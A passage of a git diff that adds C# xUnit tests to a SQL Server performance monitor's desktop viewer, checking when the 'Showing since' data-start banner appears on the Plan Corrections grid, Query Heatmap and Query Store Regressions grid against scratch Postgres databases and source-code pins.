+
+    /* A quiet start: monitored for 120 days, so the store covers the whole range (its retention edge, 30 days back, is the
+       coverage), but the first recommendation of the range was collected 5 hours in. No notice. */
+    [Fact]
+    public async Task AQuietStart_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, shown) = await store.ReadAsync(QuietServerId, ct);
+
+        Assert.NotEmpty(shown);
+        Assert.Equal(store.Start.AddHours(5), shown.Min(r => r.CollectionTime));
+        Assert.NotNull(coverage);
+        Assert.Null(Banner(store, coverage, shown));
+    }
+
+    /* A read that fills the cap (200 rows exactly, and 220 seeded, which returns 200): the grid shows the newest 200 recommendations
+       and reaches back no further than the oldest of them, which came 199 minutes before the range's end, days after its start. The
+       store covers the whole range (120 days monitored), yet the notice names that row. */
+    [Theory]
+    [InlineData(Cap)]
+    [InlineData(Cap + 20)]
+    public async Task AFullPage_GivesANotice_AtItsOldestRow_ThoughTheStoreCoversTheRange_AgainstDevPostgres(int seeded)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, shown) = await store.ReadAsync(seeded == Cap ? FullPageServerId : PastTheCapServerId, ct);
+
+        Assert.Equal(Cap, shown.Count);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddMinutes(-(Cap - 1))), Banner(store, coverage, shown));
+
+        /* The cap is what raises it: without the cap rule the store's coverage reaches the range start, and nothing shows. */
+        Assert.Null(Banner(store, coverage, shown, rowCap: null));
+    }
+
+    /* One row under the cap: the read returned everything the range holds, so the coverage rule stands and the covered range
+       shows no notice. */
+    [Fact]
+    public async Task AReadOneRowUnderItsCap_KeepsItsResult_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, shown) = await store.ReadAsync(UnderTheCapServerId, ct);
+
+        Assert.Equal(Cap - 1, shown.Count);
+        Assert.NotNull(coverage);
+        Assert.Null(Banner(store, coverage, shown));
+        /* The cap rule changes nothing for a read under its cap: the covered range shows no notice with it or without it. */
+        Assert.Null(Banner(store, coverage, shown, rowCap: null));
+    }
+
+    /* The banner the tab's own step raises for the probe's answer, the collection time of each row shown and the grid's cap: the call
+       ViewerServerTab.LoadPlanCorrectionsAsync makes, on a real banner control. Null when the banner is hidden. */
+    private static string? Banner(Store store, DateTime? coverage, IReadOnlyCollection<PlanCorrectionRow> shown, int? rowCap = Cap) =>
+        QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+            banner, Task.FromResult(coverage), "Plan Corrections", store.Start, shown.Select(r => (DateTime?)r.CollectionTime), rowCap));
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly ViewerDataService _viewer;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            _viewer = viewer;
+            End = end;
+        }
+
+        public DateTime End { get; }
+
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>The probe's answer and the rows the grid's read returned, for the range the viewer's default window draws.</summary>
+        public async Task<(DateTime? Coverage, List<PlanCorrectionRow> Shown)> ReadAsync(int serverId, CancellationToken ct)
+        {
+            var coverage = await _viewer.GetPlanCorrectionsDataStartAsync(serverId, Start, End, ct);
+            var rows = await _viewer.GetPlanCorrectionsAsync(serverId, Start, End, cancellationToken: ct);
+            return (coverage, rows);
+        }
+
+        public static async Task<Store> CreateAsync(CancellationToken ct)
+        {
+            var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+            try
+            {
+                var end = QueryGridSeed.NowToTheMinute();
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    /* Added 2 days ago: its first recommendation came a day later. */
+                    await EventGridSeed.AddServerAsync(connection, NewServerId, "plan-corrections-new", end.AddDays(-2), "plan_correction", end, clockOffsetMinutes: null, ct);
+                    await InsertAsync(connection, NewServerId, "plan-corrections-new", end.AddDays(-1), end.AddDays(-1).AddHours(4), 60, ct);
+
+                    /* Monitored for 120 days: the first recommendation of the range came 5 hours in. */
+                    await EventGridSeed.AddServerAsync(connection, QuietServerId, "plan-corrections-quiet", end.AddDays(-120), "plan_correction", end, clockOffsetMinutes: null, ct);
+                    await InsertAsync(connection, QuietServerId, "plan-corrections-quiet", end.AddDays(-7).AddHours(5), end.AddDays(-7).AddHours(9), 60, ct);
+
+                    /* Monitored for 120 days, recommendations one minute apart ending at the range's end: the cap, one past it, one under it. */
+                    foreach (var (serverId, name, seeded) in new[]
+                    {
+                        (FullPageServerId, "plan-corrections-full", Cap),
+                        (PastTheCapServerId, "plan-corrections-past", Cap + 20),
+                        (UnderTheCapServerId, "plan-corrections-under", Cap - 1),
+                    })
+                    {
+                        await EventGridSeed.AddServerAsync(connection, serverId, name, end.AddDays(-120), "plan_correction", end, clockOffsetMinutes: null, ct);
+                        await InsertAsync(connection, serverId, name, end.AddMinutes(-(seeded - 1)), end, 1, ct);
+                    }
+                }
+
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /* recommendation_name is NOT NULL on the grid's read: the collector's enablement-only rows carry none, and the read drops them. */
+        private static async Task InsertAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, int stepMinutes, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.plan_correction
+                    (collection_id, collection_time, server_id, server_name, database_name, recommendation_name, recommendation_state, score, query_id, query_text)
+                SELECT row_number() OVER () + $6, t, $1, $2, 'PlanDb', 'rec-' || t::text, 'Active', 50, 42, 'SELECT 1'
+                FROM generate_series($3::timestamp, $4::timestamp, make_interval(mins => $5)) AS t
+                """, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(firstUtc));
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(lastUtc));
+            insert.Parameters.AddWithValue(stepMinutes);
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>
+/// The desktop viewer's Query Heatmap against a real store (#4966). The read draws the raw <c>query_stats</c> table's rows, one
+/// column per 5-minute bin that holds a row. <c>query_stats</c> carries no schedule edge, so the probe's coverage is the oldest
+/// row the server holds at or before the range's end, and the notice names the earlier of that and the first column drawn.
+/// </summary>
+/* A quiet start does not apply here, unlike the grids whose collector has a schedule edge. With no edge, the server's first
+   collection (its registry row) says nothing about where the table's coverage starts: the oldest row is the coverage. A server
+   whose first row of the range came late and which holds nothing older reads as a server that did not exist before that row,
+   and the notice names the row's bin. A range the store covered from before it started has an older row before the range, which
+   is the case that gives no notice. */
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerQueryHeatmapDataStartLiveTests
+{
+    private const int NewServerId = -496641;
+    private const int OlderRowServerId = -496642;
+
+    /* Rows start inside the range: the server was added 2 days ago, and its first query_stats row came a day later, 3 minutes past
+       a 5-minute boundary. Nothing older vouches for the stretch before it, so coverage is that row; the first column drawn starts
+       on the boundary before it, and the notice names the boundary, never a time later than a column on screen. */
+    [Fact]
+    public async Task RowsThatStartInsideTheRange_GiveANotice_AtTheFirstColumnDrawn_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, columns) = await store.ReadAsync(NewServerId, ct);
+
+        Assert.Equal(store.FirstRowInTheRange, coverage);
+        Assert.Equal(store.FirstRowInTheRange.AddMinutes(-3), columns.Min());
+        Assert.Equal(QueryGridSeed.Since(store.FirstRowInTheRange.AddMinutes(-3)), Banner(store, coverage, columns));
+    }
+
+    /* An older row before the range: the server holds a row from 10 days ago, then a gap, then rows from 5 hours into the range. That row
+       is where the table's coverage starts, before the range, so the first column drawn (5 hours in) is not a cut. No notice. */
+    [Fact]
+    public async Task AnOlderRowBeforeTheRange_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        var (coverage, columns) = await store.ReadAsync(OlderRowServerId, ct);
+
+        Assert.NotEmpty(columns);
+        Assert.Equal(store.End.AddDays(-10), coverage);
+        Assert.True(columns.Min() > store.Start);
+        Assert.Null(Banner(store, coverage, columns));
+    }
+
+    /* The banner the tab's own step raises for the probe's answer and the time of each column drawn: the call
+       ViewerServerTab.LoadQueryHeatmapAsync makes, on a real banner control. Null when the banner is hidden. */
+    private static string? Banner(Store store, DateTime? coverage, DateTime[] columns) =>
+        QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+            banner, Task.FromResult(coverage), "Query Heatmap", store.Start, columns.Select(t => (DateTime?)t)));
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly ViewerDataService _viewer;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end, DateTime firstRowInTheRange)
+        {
+            _scratch = scratch;
+            _viewer = viewer;
+            End = end;
+            FirstRowInTheRange = firstRowInTheRange;
+        }
+
+        public DateTime End { get; }
+
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>The first row of the new server: 3 minutes past a 5-minute boundary, a day before the range's end.</summary>
+        public DateTime FirstRowInTheRange { get; }
+
+        /// <summary>The probe's answer and the time of each column the heatmap draws.</summary>
+        public async Task<(DateTime? Coverage, DateTime[] Columns)> ReadAsync(int serverId, CancellationToken ct)
+        {
+            var coverage = await _viewer.GetQueryHeatmapDataStartAsync(serverId, Start, End, ct);
+            var heatmap = await _viewer.GetQueryHeatmapAsync(serverId, HeatmapMetric.Duration, Start, End, cancellationToken: ct);
+            return (coverage, heatmap.TimeBuckets);
+        }
+
+        public static async Task<Store> CreateAsync(CancellationToken ct)
+        {
+            var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+            try
+            {
+                var end = QueryGridSeed.NowToTheMinute();
+                var dayBefore = end.AddDays(-1);
+                var first = new DateTime(dayBefore.Year, dayBefore.Month, dayBefore.Day, dayBefore.Hour, 3, 0, DateTimeKind.Utc);
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    await EventGridSeed.AddServerAsync(connection, NewServerId, "heatmap-new", end.AddDays(-2), "query_stats", end, clockOffsetMinutes: null, ct);
+                    await InsertAsync(connection, NewServerId, "heatmap-new", first, first.AddMinutes(55), ct);
+
+                    await EventGridSeed.AddServerAsync(connection, OlderRowServerId, "heatmap-older", end.AddDays(-30), "query_stats", end, clockOffsetMinutes: null, ct);
+                    await InsertAsync(connection, OlderRowServerId, "heatmap-older", end.AddDays(-10), end.AddDays(-10), ct);
+                    await InsertAsync(connection, OlderRowServerId, "heatmap-older", end.AddDays(-7).AddHours(5), end.AddDays(-7).AddHours(6), ct);
+                }
+
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end, first);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /* One row every 5 minutes: the read keeps a row with an execution count and a metric, so both are set. */
+        private static async Task InsertAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.query_stats
+                    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds, query_text)
+                SELECT row_number() OVER () + $5, t, $1, $2, 'HeatDb', 'HASHHEAT', '0xHEAT', 1000, 1000, 10, 300, 'SELECT 1'
+                FROM generate_series($3::timestamp, $4::timestamp, interval '5 minutes') AS t
+                """, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(firstUtc));
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(lastUtc));
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L + (long)(firstUtc - DateTime.UnixEpoch).TotalMinutes);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>
+/// The desktop viewer's Query Store Regressions grid against a real store (#4966). The read compares the range with the
+/// 7 days before it (<see cref="ViewerDataService.QueryStoreRegressionsBaselineStart"/>), so the notice keys on that EARLIER window:
+/// a server added two days before the range covers the range whole but holds two days of baseline, not seven, and a notice
+/// keyed on the range alone stays silent. <c>query_store_stats</c> carries no schedule edge, so coverage is the oldest row. Each case
+/// runs the probe the tab starts and then the tab's own banner step (<see cref="ViewerServerTab.ShowQueryStoreRegressionsDataStartAsync"/>)
+/// on a real banner control, over a one-day range and over ranges of 90 and 60 minutes.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerQueryStoreRegressionsDataStartLiveTests
+{
+    private const int NewServerId = -496651;
+    private const int DeepServerId = -496652;
+
+    /* The range lengths each case runs, in minutes: a day, and two ranges no longer than the shared probe's 90-minute slack. The probe
+       asks about the BASELINE window, which starts 7 days before the range, so its window is longer than the slack whatever the range,
+       and it still runs on a short one and names where the baseline's data starts. A probe keyed on the range's own start would be
+       skipped there (the shared probe starts no query for a window no longer than the slack) and answer nothing. */
+    private const int OneDay = 24 * 60;
+
+    /* Rows start inside the baseline window: the server was added 2 days before the range, so it holds 2 days of the 7-day baseline and
+       the range itself. The probe asks about the baseline window and the tab's banner step compares its answer with that window's
+       start, so the banner names where the baseline's data starts, the day the server was added; compared with the range's own start
+       (which the coverage precedes) it would say nothing. */
+    [Theory]
+    [InlineData(OneDay)]
+    [InlineData(90)]
+    [InlineData(60)]
+    public async Task RowsThatStartInsideTheBaselineWindow_GiveANotice_AtTheBaselinesDataStart_AgainstDevPostgres(int rangeMinutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeMinutes, ct);
+
+        var coverage = await store.ProbeAsync(NewServerId, ct);
+
+        Assert.Equal(store.Start.AddDays(-2), coverage);
+        Assert.Equal(QueryGridSeed.Since(store.Start.AddDays(-2)), Banner(store, coverage));
+        /* The premise: the range-keyed comparison finds the range covered. */
+        Assert.False(RawWindowFloor.IsTruncated(coverage, store.Start));
+    }
+
+    /* Rows reach back before the baseline: the server holds a row from 10 days before the range, a day before the baseline window
+       starts. The baseline is whole, so no notice. */
+    [Theory]
+    [InlineData(OneDay)]
+    [InlineData(90)]
+    [InlineData(60)]
+    public async Task RowsThatReachBackBeforeTheBaseline_GiveNoNotice_AgainstDevPostgres(int rangeMinutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeMinutes, ct);
+
+        var coverage = await store.ProbeAsync(DeepServerId, ct);
+
+        Assert.Equal(store.Start.AddDays(-10), coverage);
+        Assert.Null(Banner(store, coverage));
+    }
+
+    /* The banner the tab's own step raises for the probe's answer on the range the store was built for: the call
+       ViewerServerTab.LoadQueryStoreRegressionsAsync makes, on a real banner control. Null when the banner is hidden. */
+    private static string? Banner(Store store, DateTime? coverage) =>
+        QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowQueryStoreRegressionsDataStartAsync(banner, Task.FromResult(coverage), store.Start));
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly ViewerDataService _viewer;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end, int rangeMinutes)
+        {
+            _scratch = scratch;
+            _viewer = viewer;
+            End = end;
+            RangeMinutes = rangeMinutes;
+        }
+
+        public DateTime End { get; }
+
+        /// <summary>The length of the range the grid compares with its baseline, in minutes.</summary>
+        public int RangeMinutes { get; }
+
+        /// <summary>The start of the range the grid compares with its baseline.</summary>
+        public DateTime Start => End.AddMinutes(-RangeMinutes);
+
+        /// <summary>The probe's answer for the range, as the server tab asks it.</summary>
+        public Task<DateTime?> ProbeAsync(int serverId, CancellationToken ct) =>
+            _viewer.GetQueryStoreRegressionsDataStartAsync(serverId, Start, End, ct);
+
+        public static async Task<Store> CreateAsync(int rangeMinutes, CancellationToken ct)
+        {
+            var scratch = await QueryGridSeed.OpenScratchAsync(ct);
+            try
+            {
+                var end = QueryGridSeed.NowToTheMinute();
+                var start = end.AddMinutes(-rangeMinutes);
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    /* Added 2 days before the range: a row an hour from then on. */
+                    await EventGridSeed.AddServerAsync(connection, NewServerId, "regressions-new", start.AddDays(-2), "query_store_stats", end, clockOffsetMinutes: null, ct);
+                    await InsertAsync(connection, NewServerId, "regressions-new", start.AddDays(-2), end, ct);
+
+                    /* Monitored for a month, with rows from 10 days before the range: a day before the baseline window starts. */
+                    await EventGridSeed.AddServerAsync(connection, DeepServerId, "regressions-deep", end.AddDays(-30), "query_store_stats", end, clockOffsetMinutes: null, ct);
+                    await InsertAsync(connection, DeepServerId, "regressions-deep", start.AddDays(-10), end, ct);
+                }
+
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end, rangeMinutes);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        private static async Task InsertAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand("""
+                INSERT INTO collect.query_store_stats
+                    (collection_id, collection_time, server_id, server_name, database_name,
+                     query_id, plan_id, execution_type_desc, first_execution_time, last_execution_time,
+                     query_hash, execution_count, avg_duration_us, avg_cpu_time_us)
+                SELECT row_number() OVER () + $5, t, $1, $2, 'RegressionDb',
+                       42, 4200, 'Regular', t, t,
+                       'HASHREGR', 10, 500, 300
+                FROM generate_series($3::timestamp, $4::timestamp, interval '1 hour') AS t
+                """, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(firstUtc));
+            insert.Parameters.AddWithValue(QueryGridSeed.Naive(lastUtc));
+            insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 100_000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
+
+/// <summary>
+/// What the three query-grid live classes share: the scratch database, the instants a range is built from, and the banner the product's
+/// own step raises on a real control.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. This helper reaches DARLING_TEST_PG only to CREATE and DROP
+   each test's own database through ScratchPostgres; nothing here touches the shared database. */
+internal static class QueryGridSeed
+{
+    public static async Task<ScratchPostgres> OpenScratchAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live query grid data-start tests.");
+
+        return await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+    }
+
+    /// <summary>The current UTC time with the seconds dropped, as the range's end.</summary>
+    public static DateTime NowToTheMinute()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+    }
+
+    /// <summary>The instant as the store's naive UTC timestamp.</summary>
+    public static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    /// <summary>The text of the "Showing since" banner for an instant, in the UTC display mode <see cref="ReadBanner"/> sets, to the second.</summary>
+    public static string Since(DateTime utc) => "Showing since " + utc.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    /// <summary>
+    /// Runs the product's own banner step against a real banner control and reads the banner back: its text when it shows, null when it is
+    /// hidden. WPF objects need an STA thread, so the step runs on one, and the banner's time text reads the process-wide display mode, so
+    /// it is set to UTC for the step and restored after it (the classes that call this are in the viewer-time-statics collection). The
+    /// banner is seeded visible, so a step that never touches it cannot pass as a hidden banner.
+    /// </summary>
+    public static string? ReadBanner(Func<TextBlock, Task> raise)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            var savedMode = ViewerTimeHelper.CurrentDisplayMode;
+            try
+            {
+                ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+                var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+                raise(banner).GetAwaiter().GetResult();
+
+                text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+            }
+            finally
+            {
+                ViewerTimeHelper.CurrentDisplayMode = savedMode;
+            }
+        });
+
+        return text;
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerQueryHeatmapDataStartTests.cs b/Darling/Darling.Tests/ViewerQueryHeatmapDataStartTests.cs
new file mode 100644
index 0000000000..92188d606a
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerQueryHeatmapDataStartTests.cs
@@ -0,0 +1,175 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Query Heatmap says where its data starts (#4966). The read bins <c>query_stats</c> by collection time and
+/// the chart draws one column per 5-minute bin that holds a row, so a stretch with no row has no column and the chart cannot tell
+/// a server that did not exist yet from a quiet one: the chart needs the notice. The notice names the earlier of the coverage
+/// start and the first column drawn. The read has no row cap and no rollup route, which is what the pins below hold in place.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerQueryHeatmapDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    // ── The read and the probe ──
+
+    /* The read is the raw table, with no rollup route and no cap. A rollup route added later must move the probe to that rollup's
+       floor (TryForRollup), and a LIMIT added later must be wired to the cap rule: either fails here first. */
+    [Theory]
+    [InlineData(HeatmapMetric.Duration)]
+    [InlineData(HeatmapMetric.Cpu)]
+    [InlineData(HeatmapMetric.LogicalReads)]
+    [InlineData(HeatmapMetric.LogicalWrites)]
+    [InlineData(HeatmapMetric.ExecutionCount)]
+    public void TheRead_IsTheRawTable_WithNoRollupRoute_AndNoRowCap(HeatmapMetric metric)
+    {
+        var sql = ViewerDataService.BuildQueryHeatmapSql(metric);
+
+        Assert.Contains("FROM query_stats", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $2", sql, StringComparison.Ordinal);
+        Assert.DoesNotMatch(@"query_stats_\w+", sql);
+        Assert.DoesNotContain("LIMIT", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void TheProbe_GoesThroughTheSharedFloor_OverTheRawCollectorTable()
+    {
+        var source = ViewerFile("ViewerDataService.QueryHeatmap.cs");
+
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"query_stats\")", source, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", source, StringComparison.Ordinal);
+    }
+
+    // ── The tab: the probe beside the read, the banner from the columns drawn ──
+
+    [Fact]
+    public void TheHeatmapRead_StartsItsProbeBesideIt_AndNamesTheFirstColumnItDraws_WithNoCap()
+    {
+        var read = MethodBody(ViewerFile("ViewerServerTab.QueryHeatmap.cs"), @"private async Task ReadAndDrawQueryHeatmapAsync\(");
+
+        Assert.Equal(1, Matches(read, @"var dataStartTask = _dataService\.GetQueryHeatmapDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(read,
+            @"await ShowEventDataStartAsync\(QueryHeatmapTruncationBanner,\s*dataStartTask,\s*""Query Heatmap"",\s*startUtc,\s*result\.TimeBuckets\.Select\(t => \(DateTime\?\)t\)\);"));
+    }
+
+    /* A census over every server-tab file: the one read of the heatmap is paired with its probe and its banner call, and both
+       entry points (the range load, the metric change) go through it, so a read added beside it without them fails here. */
+    [Fact]
+    public void EveryTabRead_OfTheHeatmap_HasItsProbe_AndBothEntryPointsGoThroughIt()
+    {
+        var tabs = string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+        var tab = ViewerFile("ViewerServerTab.QueryHeatmap.cs");
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetQueryHeatmapAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetQueryHeatmapDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"ShowEventDataStartAsync\(QueryHeatmapTruncationBanner,"));
+        Assert.Equal(2, Matches(tab, @"await ReadAndDrawQueryHeatmapAsync\("));
+        Assert.DoesNotContain("await dataStartTask", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBanner_SitsAboveTheChart_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""1"" x:Name=""QueryHeatmapTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "QueryHeatmapTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the chart");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<scottplot:WpfPlot Grid\.Row=""2"" x:Name=""QueryHeatmapChart""", xaml);
+    }
+
+    // ── What the banner shows ──
+
+    /* The banner raised for the probe's answer and the first columns the chart draws, read off the control; null when it is
+       hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? BannerFor(DateTime? coverageStartUtc, params DateTime[] columns)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(coverageStartUtc), "Query Heatmap", RangeStart, columns.Select(t => (DateTime?)t)).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    private static DateTime At(int days, int hours = 0, int minutes = 0) => RangeStart.AddDays(days).AddHours(hours).AddMinutes(minutes);
+
+    /* Rows start inside the range: the first column is where the first row came, after the coverage began. The notice reads back the coverage start. */
+    [Fact]
+    public void ColumnsThatStartInsideTheRange_RaiseTheNotice_AtTheCoverageStart()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3), At(3), At(3, 6)));
+    }
+
+    /* A quiet start: the store covered the whole range (coverage 20 days before it), and the first column is 5 hours in. No notice. */
+    [Fact]
+    public void AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(At(-20), At(0, 5), At(2)));
+    }
+
+    /* A column is a 5-minute bin, stamped at its start, so the first column can start up to 4 minutes before the first row the
+       probe found: the notice names the column, never a time later than a column on screen. */
+    [Fact]
+    public void AColumnThatStartsBeforeTheCoverage_IsNamedInsteadOfIt()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3, 0, 3), At(3), At(3, 6)));
+    }
+
